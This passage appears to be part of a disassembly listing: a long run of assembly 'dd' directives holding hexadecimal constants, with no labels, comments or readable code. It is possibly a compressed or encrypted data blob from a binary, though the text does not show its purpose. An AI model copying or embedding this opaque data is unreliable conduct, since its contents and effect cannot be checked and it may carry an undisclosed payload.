0B4E7AC4Bh, 6C19E809h, 8DE03410h, 0C3CF6900h dd 2ED63170h, 6CE0B752h, 6B0097EAh, 0D54BA598h, 0D2FABED7h dd 0F2D0F2B9h, 63443007h, 4E01B4Bh, 0C55F4127h, 970009Bh dd 40134BC3h, 0D31BC4E8h, 3F86FDDh, 0BFF0829Dh, 1585151h dd 672EAAE4h, 0D83B6E47h, 5B075523h, 95F2013Dh, 44F4C654h dd 9B039E14h, 34AF578Bh, 4349A015h, 897B02A6h, 2A3D8CF1h dd 4F116C5Ch, 98281602h, 84560AE5h, 1210467Ch, 1860665Dh dd 5B6A9863h, 0B21475E4h, 3075F268h, 8F01F4F1h, 0D5956A42h dd 402A507Ah, 0FFED69ACh, 0B300F66Dh, 0C50AB5C9h, 2CD8B1A6h dd 0BE487A90h, 0A7111407h, 6B914C3Ch, 60A0F74Bh, 0B4B80018h dd 584A5C65h, 55075FF2h, 0F045A121h, 6E381C12h, 2F5C3918h dd 0C5296B17h, 9050A28Ch, 5B8A22CCh, 0C546D66h, 409FFF1Ch dd 81D8ABE0h, 20F0DD24h, 0A940629Ch, 92B4131Bh, 6C4888AAh dd 4C5E0909h, 40402C44h, 9E38AC07h, 19C4A0F4h, 18F6E0BFh dd 0A4086E53h, 0F0013F2Ah, 0EB296DB7h, 96C43410h, 0A4297CA2h dd 1769D082h, 0BCEC5D05h, 0B7A99685h, 50204A90h, 78E2DD63h dd 8420A5EBh, 42E4A2CFh, 0F168D73h, 0E86AB785h, 22A405B0h dd 0A810289Eh, 90EACA70h, 192F7020h, 478840CFh, 0E4B0B480h dd 0BD68AC62h, 0FC0CE2C1h, 49BB9501h, 0EB389A0Fh, 5DD361E0h dd 161854A5h, 5C0FE924h, 0AA399C00h, 0D34F173Dh, 616D18C0h dd 21EBC02Dh, 0E0A1D918h, 7BD5B430h, 3C21C030h, 6353B305h dd 89E0510Fh, 0D5F083A9h, 0D19EA0CAh, 0A820BF2Dh, 0F47E634Eh dd 65E3AC1Eh, 20D8B20Eh, 0EE382B15h, 24ED48A2h, 9D6D5100h dd 3519CCC6h, 0FE5B6C12h, 0AB10BCBCh, 0D06E005Dh, 0F24F5AA8h dd 0E2144FDEh, 412BAD0h, 0B130B05Fh, 0D25408C4h, 69F61CC7h dd 49FE2410h, 8F9E0C60h, 7A62C710h, 3CAF908h, 2019132Bh dd 0EE0814B9h, 0B3342988h, 181E760Ch, 398240CAh, 0E060EC63h dd 0E8181017h, 2161189Ah, 0C61C4C10h, 18A90508h, 31455020h dd 0F310CE80h, 0D108889Fh, 59AB18B8h, 28C61583h, 31081154h dd 4F186341h, 1A47013Bh, 1B95B01h, 888CC53h, 2C0C545Fh dd 0C4BB98EFh, 9472B9D9h, 838846D4h, 39C42997h, 370C6813h dd 0A8400E59h, 0F98A8E4h dd 0CF08CC3Ah, 62636911h, 205E4220h, 0F46F58C1h, 0FA41D861h dd 4D08C673h, 0B16318DBh, 1819BE41h, 20ABD608h, 8C6B71Ah dd 3128EA04h, 0B4107BCAh, 82088C8Dh, 0C4C7302Ah, 66A9779h dd 3118441Eh, 68084CB8h, 641895AEh, 98FE10A8h, 58ED8C1Bh dd 3E058692h, 2996CC46h, 0A54D3108h, 88DFCB18h, 159EAF28h dd 7110F005h, 5BBC1018h, 8BA0118h, 18CA4055h, 798C8044h dd 40E2088Ah, 8040CCA2h, 28E56306h, 21209A71h, 5CFF20C1h dd 8BE1633h, 51E918D3h, 0C54A78E8h, 0E02118CAh, 704AAA92h dd 9C88EC84h, 52F60C8Bh, 0E4D98808h, 4E0171D0h, 9E088C85h dd 62875810h, 1BFA0828h, 23F1A02h, 4A0225C8h, 50C0C9A0h dd 774C0888h, 70118618h, 2584AA4Bh, 0D84A4980h, 868CF4CEh dd 408008C8h, 79407AC3h, 56A740CEh, 66F26340h, 31EB38EEh dd 88706022h, 0C43692F0h, 6BF2268h, 20103DEBh, 0DC365EE7h dd 6229096Eh, 1D473954h, 3556502h, 82481E5h, 0E899A490h dd 0F051B719h, 18884AACh, 0D20898A2h, 2E9D087Bh, 544E1F12h dd 2B08B988h, 74E3518Ah, 0EAD1B1F0h, 7F7190BBh, 9544C524h dd 9E198C62h, 51344038h, 9530E8E4h, 26907010h, 9882049h dd 8A236AFh, 209F7520h, 0DF4DB361h, 0C0713C4Ch, 0C390A9EBh dd 0B645F988h, 0F1D19918h, 63B4A2D6h, 0CC1076FEh, 0DB5180B1h dd 13400F40h, 204AED99h, 0F8A437A4h, 0F862FE26h, 50A39F81h dd 10BE5B56h, 66481F05h, 62F780E5h, 0BC2CB4A1h, 3C867C30h dd 1845DE3h, 222A45A2h, 2BA8EFB3h, 17AA64A0h, 0BCF0E54Fh dd 701E934Ch, 0A92A1403h, 86DFE8B0h, 0CE5971E5h, 56402C50h dd 14B5300Bh, 9A8E050Bh, 185C5A24h, 28DD5CE5h, 0FE6155A4h dd 17FB50C1h, 401074h, 419C39B5h, 0DCAC0EE8h, 0AA634375h dd 0E2A46E28h, 3C0852C1h, 62047C70h, 0F8C9E548h, 0FDAE0C04h dd 0F834491Eh, 75181E0Dh, 851953D4h, 1AA4B810h, 10085DD1h dd 34E51644h, 1A095A9h, 0B50CE984h, 0D51082A4h, 0FF8C4263h dd 41A218A0h, 2732E5FEh, 77BB2054h, 7AC978A0h, 0B000F20Ch dd 0D70DB1D0h, 0E44C506Fh, 92E5251Ah, 32D53882h, 7009845Ah dd 63DC9Eh, 2057A4A3h, 765B024Fh, 3FA2CA10h, 0DF1F0880h dd 6D09B52Fh, 0E97741ACh, 2FF6C0h, 7A087C44h, 0A53E31C0h dd 0F792F72h, 0C4D5A328h, 8CF00891h, 90142BD1h, 0B5AA07B0h dd 15406A1Eh, 308C4D1Fh, 0CA20BA57h, 0A229BD6Fh, 680B905Ah dd 0AE1CC8E5h, 50E798DDh, 21B8ACh, 0A4EFB502h, 9A1D0AA7h dd 4CAA4E02h, 0A74BB9E5h, 704057F8h, 68E7E304h, 108D8D2h dd 9A41946Dh, 1114233Eh, 777B24A5h, 0D234022Bh, 56A2D90Fh dd 554F0881h, 0CD30A057h, 0A820F930h, 39CFE7Dh, 0B4582BD4h dd 0FEAF0198h, 0B80AD280h, 4F18CBD0h, 5D386F3Eh, 99A7874h dd 0F0C1DE4Ch, 0CC655C20h, 6728C91Fh, 0AC0078F4h, 8E681EA5h dd 6331D9h, 204D32C7h, 0F010147Dh, 27BBC50Ah, 1A01D0D7h dd 6328C50h, 0BC5C9095h, 669A210h, 221618D2h, 40242859h dd 0B8C12F0h, 6504783h, 15F611ACh, 1483FA1Bh, 0DF901D4Eh dd 591ED5C2h, 9D020E71h, 0E0681576h, 199D1ECh, 3763D45Dh dd 24D26A05h, 0D1C0CFA4h, 0E9594B9Ah, 0A5AF00F0h, 0E1C4250h dd 10481924h, 5C430A10h, 1E18C0B0h, 802A3DC0h, 0A949ACC1h dd 41B40954h, 0D1DC182Eh, 90C98EBh, 16B527DFh, 1702B8DEh dd 80A176E5h, 9AAAC8E0h, 908748DDh, 57064283h, 3A1B4000h dd 3DEF9A7h, 0F8C2F92Ah, 0D3C50038h, 0E5D6B51Fh, 393CEE55h dd 9A269ED7h, 480B320Dh, 906B2CE0h, 67BE00DEh, 0BAC31A9Eh dd 0FB07A489h, 0DF1C9B04h, 0DC0BE6C0h, 8AFE0C86h, 0B0D1AA11h dd 0E989401h, 61A0E51Bh, 4445A880h, 3CA536C4h, 538C1E05h dd 0A3009B19h, 7DA89821h, 482C9877h, 0C4811018h, 1B0E94Fh dd 24208C5Dh, 680C04C7h, 803241FFh, 0B529AD90h, 3C70F548h dd 1004485Ch, 0E20386C2h, 5214E528h, 0C0328024h, 3021AD0Dh dd 6DCDEC41h, 469A0889h, 28058C10h, 4CCB548h, 970D43D0h dd 74F46306h, 294DF4Dh, 0E878B350h, 14104139h, 1706D30h dd 22D524FBh, 277C6D47h, 0AC5300B8h, 8AB86FE4h, 94145422h dd 0FC9A55A5h, 1FC5C080h, 0E767FE68h, 0AD008890h, 597171Eh dd 2A45E31h, 3EEBB150h, 2840E7EEh, 351E7CC0h, 0E506D90Ah dd 24E88928h, 30D096h, 1AAC8ABDh, 0D32043C7h, 0F0E8086Dh dd 384A3DA2h, 0EF80CB80h, 6518749h, 0DE425F05h, 0CFA2089h dd 8C2A55h, 0E89B4FCCh, 62F24890h, 0B8F61532h, 20C042AAh dd 0B98C44C8h, 0C060C1C2h, 80340ACAh, 13B51041h, 0B17CBDE5h dd 6DCB4150h, 39345243h, 1E06347Ch, 77782007h, 0DD20C017h dd 32120D8Eh, 31422909h, 0EFB00E27h, 3F28A1B6h, 4C24CA46h dd 91C304DBh, 83EB246Ah, 1105DC60h, 9B71C2C7h, 4E32BC30h dd 52B727Bh, 578AC6F0h, 56D05F78h, 42843047h, 4B0E4FAh dd 0A1C76700h, 0D87966Eh, 2C194D37h, 0BBACEE00h, 1CD4FF9Fh dd 2C489A1Fh, 0E503E0C1h, 0F8815BBEh, 0A9E917DDh, 654FE454h dd 49DF9540h, 4051F047h, 904C20h, 0A48B42B1h, 181E3154h dd 2113D001h, 8034D1B0h, 25DC30h, 0E77CE491h, 4D9BC6EBh dd 0ED4B2400h, 1868DD1Dh, 1A5924F2h, 4D48E570h, 26104AE4h dd 0CCCD2480h, 8E5DDA09h, 7FA6A690h, 1E85ED8h, 3F4FD1ACh dd 49ACA7h, 0A0016512h, 1DD05015h, 0A160D049h, 9A36000Ah dd 162D282Bh, 0A04A87A3h, 435AD090h, 67B0E28Ch, 0E0021010h dd 2817839Dh, 5A2DBD0Ch, 40F1204Fh, 7B00C607h, 0B506494Ch dd 0EA537EDDh, 9A4B0102h, 40D4AE43h, 5860FEF3h, 0A37F6055h dd 8AB9101Fh, 7740603Fh, 0C88E020h, 49014F46h, 90056A9h dd 9BD7FAB7h, 622433h, 8C05289Fh, 0D8B80FCEh, 5D425B00h dd 0FBB36116h, 12190023h, 3F509617h, 0B88B11h, 16CC60C5h dd 28E5F088h, 24F458ADh, 213CFBACh, 43A201B0h, 550FDFFEh dd 7D740AF4h, 5C5D40CCh, 1F204FCCh, 6C93B3h, 6C09C4CDh dd 0EF264F8Dh, 0B1003C79h, 0A220BC4Ah, 0FF9A7748h, 983B19C0h dd 0DE6017D0h, 7CA50C69h, 1B03D1A0h, 4974B3A9h, 0FFB4E138h dd 5F87C457h, 19EC682h, 24D62A42h, 7001C970h, 8CB052B3h dd 80041FF7h, 0BF079314h, 8A9DA10Ch, 0EA8EE0E1h, 22D72C7Ah dd 74E301B4h, 20A46215h, 0E0509298h, 814EA9Ch, 3C8C8291h dd 4B1BEA5h, 0F14F9889h, 6021EC92h, 588AF5h, 395B56A4h dd 0FF4FB3ACh, 4117ACB6h, 7105E807h, 0C097B1E0h, 74961314h dd 87F8F080h, 0BECAAB18h, 2C99A8h, 0EAF962C3h, 5010849Dh dd 48A64530h, 0FC478AE0h, 9AE602EDh, 1C255E37h, 11D2E4C8h dd 9E3A6815h, 0CDC58E0h, 10809BE5h, 16C940Fh, 0BA5066B4h dd 37508999h, 0B37C8534h, 0BF7D808h, 1C2E1D42h, 62CC6136h dd 81AC20FEh, 4FA9CE60h, 921340Bh, 5E0D6A1Fh, 5AC2403h dd 3F401AC2h, 709814C1h, 0CB586E60h, 0FBA2BE6Fh, 66249C32h dd 39420630h, 0ACB21168h, 50221400h, 0A47192FFh, 60ED03E7h dd 0F265D44Ah, 0AC7F42E8h, 9CF06CB2h, 36316100h, 1072C90Fh dd 0C45B134Ch, 0B0BC440Bh, 5CDA011Bh, 8CC44999h, 801C60D6h dd 31D7411Ah, 578D259h, 2EC06FC9h, 4A947801h, 8C20AE8Ch dd 84D9DC44h, 88289A82h, 0BC5C4D7Ch, 100BC65Ch, 0C83A50F0h dd 5844985Ch, 0E50B14A2h, 1C2038F6h, 0FC472AFAh, 43506800h dd 36E318F4h, 20F4ACh dd 0CF59483Bh, 331BEECBh, 6B83900h, 422DC8E3h, 844F5965h dd 43C6E50Bh, 5C528F89h, 30CAF0C2h, 570C0D1h, 404B838h dd 9843DDBFh, 0CC680476h, 60F58A4h, 0E9E518CAh, 6395982Bh dd 4858C3BCh, 4324A890h, 0A8AB0090h, 0A5663B70h, 68411E28h dd 3DAFBA20h, 8705497Eh, 46ADECACh, 719A4084h, 0C79FEB00h dd 70DBB4A8h, 34B8986Eh, 0C048AEC6h, 0B53005E4h, 0A487C01h dd 8E9D0CD2h, 0F7005828h, 22E9D424h, 0CF244FE6h, 6080803Ah dd 2EEB2767h, 82701818h, 80D018BEh, 8855422Ah, 8C9D1D00h dd 0DDE5121Bh, 488092C8h, 8C58605Ch, 2796A210h, 2A87816h dd 0F0960C9h, 34599C6Eh, 64009444h, 6B68E843h, 0ACCC009Fh dd 3C1B1F0Dh, 828BB9A3h, 5C005334h, 0C7CF2261h, 249A5D00h dd 107002FBh, 2A8733E5h, 0F6926648h, 5603AC4Eh, 92C2DEACh dd 1A0FE841h, 424416EFh, 21F440E0h, 67F7AC3Ah, 4CE0CA52h dd 1A45218h, 91D9BAE8h, 43D1AC0Eh, 0DC50C6h, 54A2BB32h dd 6D83A89Fh, 8AB5E804h, 1017C1C2h, 0C8908C38h, 0AEE00793h dd 6449490Bh, 62C06194h, 0DBF600E8h, 0E0A444B4h, 0FF8B10D0h dd 106424CCh, 0DD173711h, 90E4A462h, 2420E64Eh, 0B82A2716h dd 0BC9E40A4h, 48BB9304h, 0DCFCAA09h, 2430423Eh, 0ABC579C0h dd 0B020490Ah, 402A5462h, 0C47F982Eh, 5EE90052h, 787AD8h dd 0A5204424h, 0DC7CC78Ah, 5A9F3F00h, 681B769Dh, 0BEA914CAh dd 0CF27F58Fh, 9CDEB400h, 0B200308Dh, 2832B6F3h, 4B645DFFh dd 8CB430D1h, 0B0BAEC62h, 0C43C8D2Eh, 0EF6A4261h, 0F624060h dd 26018EA3h, 1943D420h, 78992404h, 0B4009017h, 63CF70D9h dd 37675FAh, 7E774184h, 0E4E3DCCEh, 902C50B6h, 211640DDh dd 15A6F800h, 0D5F47Fh, 3EA2C131h, 61DCB479h, 3AD96700h dd 24760AA9h, 421B0B41h, 0D80459A2h, 0E008F41Fh, 0D03C3749h dd 0FA3D7DCCh, 6C855ECAh, 25D6C820h, 40C64C79h, 0CB133204h dd 0DD478115h, 70E5E976h, 49F0E1A7h, 0C1E6A400h, 8098AAAh dd 5BC602F2h, 0F7648744h, 0D48D0441h, 1C5C5CC7h, 0FA610F84h dd 0DAE5A422h, 2BD28A0h, 49D11D2Ch, 0F0C025AAh, 0C781268Fh dd 1CAC0E60h, 6F314F4Ah, 0C890F05Ah, 5DD13A09h, 0A0D0EC0Eh dd 824AC9F8h, 0DC843C72h, 4F3C4C09h, 0A048C088h, 2310008Ch dd 711820E8h, 28C0CDD9h, 6AC47F9Ch, 638B27A3h, 0CCD005h dd 239BD9ECh, 0A203DD67h, 61A187F9h, 9E200485h, 0D0A414E9h dd 6719E0F0h, 0E5795C61h, 2035AEF7h, 0A1DC60D6h, 0D10C727h dd 72340761h, 6C440E5Ch, 5BB4E1Ch, 8C1C2397h, 0FFD8C882h dd 1558E018h, 17217514h, 169E5B0h, 7123BA34h, 2EF1C468h dd 0FF01D07Dh, 0D14F4322h, 5C2D1ADAh, 7EE51504h, 4FCCF20Fh dd 0C0C48009h, 5FAB4FC8h, 8918817Fh, 8475D010h, 0B931A18h dd 163C1840h, 424543DBh, 6DDD1BD4h, 14792442h, 0E9D909h dd 87429928h, 35C90CEh, 4649897Ah, 0C8B0A504h, 4030E5ADh dd 3EA43808h, 0D813055Fh, 81E6E7AAh, 24A5068h, 345CD06Ah dd 0C11090EDh, 317F54h, 0E8C4EAA5h, 0E9D2046Ah, 805E641Ah dd 22B48A74h, 2C6190C0h, 4CC28C35h, 1CDE4054h, 822C24F5h dd 57A442AEh, 174F1C46h, 0E8EFB822h, 62B242A8h, 9F68C8FAh dd 0A4282444h, 14B81C50h, 157BCD00h, 0A5B9FCA7h, 565C2458h dd 1A50E14Ch, 0DDC840ECh, 0A6F8E68Ah, 7A42BA0Ch, 191360C5h dd 0E0DB9668h, 81E1ED8Ch, 0E027EF38h, 0F8705B62h, 2422EBDh dd 0DC1794CCh, 986AA786h, 878C5208h, 0C7E1FE4h, 2270D79Fh dd 423A0478h, 1CEB93C4h, 44800074h, 95229DEh, 0F7AD7F86h dd 6E0B9456h, 71843AA4h, 3502BE6Ch, 0F6E72B90h, 73671049h dd 5DD5132Ch, 400DD403h, 0F6693CE2h, 0A4F04C79h, 30CE0700h dd 4154A480h, 483EFD01h, 0C5D8B7E7h, 0E583282Ch, 4058903Ch dd 0DC961360h, 0D072AC16h, 8CC499FEh, 2F754F01h, 20074404h dd 1376F0B2h, 61D67F68h, 0D004AF0Ch, 4A308C40h, 3202480Ch dd 0A16C04DDh, 0CBEDFC1Fh, 0D8E80130h, 0B29743C4h, 8C201094h dd 8C138047h, 0C70C8082h, 3D022113h, 0ACB0BE9Fh, 483DC33Fh dd 984C48E1h, 0CC08105Ah, 94245F21h, 833C8000h, 58775D18h dd 704FCCEh, 87737F6Ah, 0DBA5905Ch, 1BFA5075h, 1FAD3580h dd 395D61C5h, 6794562Ch, 0D7392025h, 0E353D2C6h, 0B39E10B0h dd 3E64AA2Eh, 0ACA480E8h, 2016820Ch, 5542682Ah, 10869C2Bh dd 0EB04511Dh, 0BB4AFBFFh, 2EE869C1h, 738DE3D0h, 890206DAh dd 0F8DB2ACAh, 784F5008h, 0BA530490h, 13E8808Dh, 8C02455Ah dd 0CA319516h, 4DE0C823h, 810F2E79h, 59EF8FB8h, 0D6337FC0h dd 5D000ECEh, 0E697D26Bh, 0E867537Ch, 64260B51h, 0F80142FFh dd 0C415819Dh, 5F002F22h, 0E4346F2Bh, 77AC391Ch, 34E84C4Eh dd 5194E510h, 0A6E005A4h, 2DE860E4h, 26296109h, 87EC17E5h dd 672763C7h, 48C0FB4Ch, 0DB487C42h, 0E2F72D4Ch, 78E812FCh dd 6FC009CCh, 189AA2BFh, 0AE5C244Ch, 304424A8h, 0BF000C9h dd 50036Fh, 43D82DD2h, 0DDADA6C7h, 1EB47058h, 4F46E458h dd 88486C5Bh, 0C07C5DCh, 0F3AA4224h, 0F2076790h, 0BED92CB9h dd 3082E0A4h, 0E98EC08Ch, 6B180935h, 0F8A07DDBh, 0D3BB9B54h dd 84C1140Bh, 0E184437h, 6995AC33h, 0BFBE6700h, 0A90E31FEh dd 207843A4h, 284F1D10h, 2D88D3C3h, 0E5F86408h, 18EB6524h dd 0CA54A200h, 13B0EE99h, 0ED8E4Fh, 42CB3350h, 254BA5F1h dd 131D9C5Eh, 0C50598AEh, 0F880C287h, 528B04h, 3264D738h dd 3995CD89h, 0C5ED0F00h, 0D9237BC7h, 510032Fh, 3F634276h dd 0A8EDC90Ch, 51CB88A5h, 7471E4B9h, 0DC7876E1h, 0C41B0CDEh dd 0C1180F20h, 6C08B4FBh, 9462F069h, 1D133E94h, 0C0A49770h dd 0B7A84FCBh, 15DF5380h, 0F44C9343h, 0F51EF200h, 478C7921h dd 8C84CB4Ah, 0F4098C1Eh, 45290h, 0EAF0D308h, 0C6D8BC4Dh dd 9A17C400h, 65EE0437h, 19E50957h, 744CE30Ah, 4184F609h dd 32F404AAh, 8C44E080h, 0B8E64DAEh, 0A4353000h, 0F6EF405Bh dd 0D3E7F307h, 20AD248Ah, 0C0090047h, 12151D3Ch, 13F9FC98h dd 4260C1C0h, 9146C7Eh, 440A68CAh, 0E5AE0A0Ch, 0B5A4D929h dd 0E8201F90h, 0C9F20187h, 0B126597Fh, 0C46AF0ABh, 31C05518h dd 1F560D0h, 56ADB224h, 40283042h, 0A8FE07F0h, 189E4099h dd 4B018784h, 0F484A495h, 58604CA5h, 0C4185812h, 93A8A0D6h dd 0AA65C309h, 0F244F024h, 143D48F6h, 5E793C4Dh, 0E0EC13FEh dd 0B61FE808h, 6E1E7224h, 259818F7h, 0C31680A2h, 0C098D0EBh dd 4317E3D3h, 440D2DAh, 0BF6B44D9h, 0E6A40070h, 6CEF3D66h dd 2C98F2E8h, 1380EB72h, 0B0543E18h, 0F9645B81h, 0E271E5EAh dd 745D68C9h, 0E8A96948h, 50903C77h, 5C92673Ch, 627AC098h dd 0AC6CE024h, 64499A42h, 37DF2DE0h, 0C36FC410h, 0E0D48A18h dd 885E2129h, 733EFDE5h, 9BD700E7h, 0F3350A24h, 1D890D0h dd 0D19C9D27h, 54423903h, 22C44980h, 515C2900h, 11FA25B7h dd 57B8073h, 0E030E52Eh, 4FC4249Fh, 0B0A94B9Eh, 5A40D039h dd 0BB955EF8h, 0F734F188h, 28942089h, 4450570Ch, 5CF09648h dd 9E670148h, 7ADE0CBFh, 1F984C70h, 0FC67E51h, 21A02AC7h dd 0C8F0A489h, 0FC79591Fh, 6BAE9F00h, 558B1F71h, 582DE8D7h dd 0DC3CD060h, 9CA4279Bh, 43DE4E09h, 1107099h, 6566391Ah dd 0EDD88C03h, 275C33FEh, 7EFC60FFh, 0D2670047h, 951DCFC5h dd 2D62A98Ch, 594AAA68h dd 3F8C42A8h, 1C90A8F2h, 3AE0A46Bh, 0B018CCA4h, 43889E84h dd 82CC20A3h, 0B30734ECh, 18E068B9h, 0D2C8028Ah, 75534F8Eh dd 58EFE060h, 0AF2D9A04h, 0C8805703h, 2E519180h, 13D41C60h dd 0E8A60076h, 11CC46A5h, 0B4EFD705h, 0BC4537FEh, 5C040F44h dd 9C853302h, 0CA43E8D3h, 0C40460F0h, 42221907h, 0E119115Ah dd 444C4120h, 32FC28F6h, 5C1A21EAh, 684F0644h, 5D04E8B1h dd 3BEAB6D9h, 76C9DC89h, 0B54CAED0h, 0C083CB2h, 0ABD20314h dd 7CE93F16h, 77A09234h, 0F2E94405h, 60AA2C82h, 94200BE0h dd 3EE8A950h, 0CD936848h, 0F7E8007Ch, 576132F0h, 0A66B8A08h dd 32B10434h, 285166ACh, 63D3D4B8h, 0A64F4800h, 0E5DF38Dh dd 0F09758D0h, 4378E007h, 161810BEh, 3F06B13Ch, 7EBA45Bh dd 27D23F42h, 509A2C83h, 63D0A0DCh, 0D3485EADh, 0B01B0078h dd 98C3DD0h, 0C088DCD6h, 19EEB931h, 0B0B2FE6Ah, 99164904h dd 28B071A0h, 186E60D5h, 4FE18CE0h, 0E0A1F64Bh, 5C318404h dd 312F9BC7h, 530A0B0h, 1FEF68A0h, 0B20B50Fh, 944CC95Ch dd 0AF40C278h, 9AF4A170h, 88E818A9h, 4426622Ah, 0DF43D0E0h dd 921CAA75h, 183880C8h, 31A90EBEh, 3620E57Dh, 99508D42h dd 0E42219B2h, 9B03C602h, 0C0EB3EE5h, 86A9BFC9h, 46F94270h dd 0D9620060h, 0AD33ABEDh, 53E8AA77h, 29BEBA01h, 9C02BFF6h dd 56DF5C2Ch, 0A02C544Ah, 6DA4405Eh, 0B4DB2009h, 1EF34209h dd 42F86524h, 18712113h, 0E81B430Bh, 387E6A8Ch, 3A04FF2h dd 0C28D494h, 0BFC0D00h, 832FD04Eh, 0C94A067Eh, 5E42F167h dd 2C289358h, 171D3668h, 7FEC073Fh, 41CF5196h, 6D1982A6h dd 0B3AE6F0h, 4C8193D1h, 0A63BD061h, 1420F811h, 54051C00h dd 0DC9FF7D3h, 52F33743h, 8C4FE0C0h, 0D0C06E6Bh, 61E0F22Bh dd 9E630B1Ah, 0C0007765h, 6A51017Ch, 5FE408B2h, 0FD8EE4B4h dd 0C4558150h, 7B204Fh, 44B04D34h, 0DA25E8F2h, 42D0B0CAh dd 1E6C403Ch, 127EA53Ch, 749049EDh, 54C04BCh, 8B43E07Ch dd 42BC1F34h, 0E299BEE5h, 772FF800h, 70C3640Bh, 9EDCA809h dd 1AEF7507h, 0F0ACA28Fh, 8CD89867h, 0D314405Eh, 42186561h dd 60800F84h, 1A0E7B0Ch, 4C9636AAh, 9605B1Fh, 890DB318h dd 0C7E8F08Fh, 0B531CC00h, 80F6D38Ah, 584B6CC1h, 5C2A3C89h dd 0C969D22Ch, 0BDBBD79Ch, 31D43003h, 98E4A2D3h, 786AF559h dd 0F4520332h, 8F2DEB67h, 534317A8h, 51EF1D03h, 699142h dd 78082160h, 87E01E77h, 65244FE4h, 6C8058B4h, 768D5735h dd 373D1362h, 4D4B062Ch, 441C2005h, 0E8C963DFh, 0DF8E0CBh dd 0C8D0546Bh, 840850EAh, 0D14C9670h, 39250732h, 207B405h dd 6246BC47h, 43DA42E0h, 8401BFF6h, 0E92EEA28h, 12842C2Ch dd 0ECE1D66Fh, 0F880D8FBh, 38E5B9Dh, 356004B8h, 0EEE1DFA8h dd 80C7AC38h, 0A9102214h, 13A444B5h, 1965857h, 8F08E980h dd 0F1C02506h, 22C2C471h, 18594F18h, 0F7E3B90h, 38E76740h dd 8CAF29A0h, 0BCB2D810h, 0C8E04739h, 3B82C444h, 48826E09h dd 58C8FEA9h, 0ECB8FFA6h, 1FF46613h, 0FBD088C7h, 9ACBE513h dd 84D45888h, 1EF00C30h, 770B75A8h, 0A8CFE516h, 91128810h dd 4C1848A0h, 3EC01C15h, 0DE7363C7h, 0A2D1E70Ah, 1F050856h dd 0B4F09668h, 0C0805F8Ch, 3CAC46Ch, 0E4C8244Bh, 0C70F984Fh dd 647D0828h, 0DC00BF32h, 0C72BE527h, 0B8DF1E7Ch, 20CFCC0h dd 9B90E770h, 40983807h, 3FC11503h, 4B2FE2CDh, 5881E3C8h dd 3AD46E50h, 4852CC0Ch, 1F0C0553h, 0B374A56Bh, 6E51348h dd 33D4C044h, 542784F2h, 0BDE5AC81h, 34C00432h, 3E757C35h dd 8717F676h, 5C58F8F3h, 8B50832Ch, 5DD028FFh, 488C1934h dd 0FA1658A8h, 3988E87Bh, 4CC93BC1h, 1315FC4h, 6DF3AC42h dd 89C35869h, 5F98A8C6h, 1A072448h, 93021C07h, 69D1B2C0h dd 17C8F878h, 452D27FCh, 0F39BDB18h, 0B6AA10FCh, 0CB901606h dd 3D261883h, 0D218569Eh, 14659A8h, 0E4F5655Fh, 92AC53E5h dd 3C200D30h, 25B8E7CCh, 0DC93FFD8h, 48A2D850h, 60C510CBh dd 0B05317D0h, 0C9691h, 0D8487EA6h, 0DD1BE9A5h, 0C858978Ah dd 0B6FADBh, 9E6FCB3Dh, 7B4F4AABh, 825944Bh, 2562C893h dd 1C90A7D0h, 1A05CE28h, 735D14E9h, 80544C4h, 0B4A015E5h dd 1CE40024h, 0ADC2DE4Eh, 0B501C382h, 3E8CDD19h, 0E0CC2203h dd 174F099h, 0CA87D1C7h, 64266042h, 90BE9E98h, 24A33564h dd 8200952Eh, 0F0E51EFDh, 0AA2588F0h, 5FCA905h, 0C88824C5h dd 0B66F038Ah, 42331AABh, 0E5A85BE3h, 28904359h, 20D3D103h dd 4AB5BB4Eh, 0E5E48048h, 60BA9F9Eh, 3937E002h, 0E98B178Ch dd 0D434C650h, 70DD031Dh, 3D460E85h, 700E0C6h, 0D0C8FEB5h dd 24A5CBF8h, 177CB6D9h, 575490BEh, 0FC1F4C29h, 97181FB0h dd 0A90B89h, 0C9E66C14h, 0A58AD8F7h, 5A70F861h, 0C8605E50h dd 908D12F0h, 91C404C0h, 0D0A70024h, 3A265Ch, 1B2E449Ah dd 0A987C913h, 7CCC6659h, 2B004C78h, 0A64FB75Fh, 2EEEF12h dd 0E53CE1F2h, 0B84833EAh, 4D4C0A43h, 0FEC680E0h, 98D86B74h dd 5070FDC0h, 725D001Eh, 0A2DBE7CFh, 6348C53Ch, 71B44C4Ch dd 72945Bh, 0BB84D368h, 44412D79h, 0F87CA84Ah, 0C11666C4h dd 0F363D9B0h, 0CBB6BDA0h, 216DD00h, 0F7A43825h, 0B84C3CD6h dd 27F26805h, 44908015h, 94956DE9h, 96B020B8h, 58A8209Fh dd 9899FA9Fh, 0B5340330h, 0E5F3B2D5h, 0C1547EC3h, 42507F2Ch dd 5C9AA0CCh, 0B062CD20h, 5C8801A0h, 0C44FD846h, 0D7688B30h dd 9245A2Fh, 810515D1h, 32268480h, 4A0B0CC1h, 2AC543EFh dd 6D001CC8h, 0FA21CCD1h, 0A36C2C41h, 2BBE8080h, 0E3977DC4h dd 689AA750h, 0E251F7F2h, 2C3DC8E4h, 18BA3830h, 142E5B9h dd 0B64D9BE1h, 405AED4Ch, 0E058A4F0h, 0C480809Dh, 34A255FCh dd 2407A5Dh, 78C3708h, 5C94857Dh, 0D2825487h, 2DF8F2F0h dd 8903CCBh, 6170DD21h, 0DF1BAD03h, 2C2FA043h, 9450B0h dd 0BC4D39E8h, 2A98C4C3h, 6101997Fh, 0E5B1120Ch, 246060D4h dd 0B3E81830h, 944EF0D6h, 42D09097h, 8009547Fh, 3400B8E9h dd 802045C3h, 0CAB68A66h, 0AB8070B4h, 0B1D064F6h, 176F0009h dd 0F3497E9Ah, 584BD7C4h, 0BF656A01h, 0F4204AEDh, 64384B0Bh dd 918BC60h, 60BC7568h, 9E13C704h, 35F08274h, 8CE0B5D9h dd 0C309AF55h, 88921BD7h, 43060854h, 2B01D5Fh, 9A8F0514h dd 5098C23h, 5CB26E38h, 981CC14Eh, 82E0064h, 0C3EF04A6h dd 0BAE274Fh, 0A0EC8221h, 0D3F0C04Ah, 0C424007Bh, 0BA801618h dd 64248820h, 7A1640FBh, 2CCF4CA0h, 67A8E65Dh, 34701C09h dd 0B32D7090h, 8D86531h, 6517E8DEh, 98564C4Ch, 1205E722h dd 2850E354h, 0D405D86Fh, 0BD4F4763h, 281A6802h, 0E5D84838h dd 94509D22h, 38BCECB8h, 0E5B40169h, 402F2DEDh, 0DC015650h dd 94BAFF13h, 0CA9180F1h, 5DBA4E72h, 0EF400038h, 5BE0C7A8h dd 20078A42h, 92BBE427h, 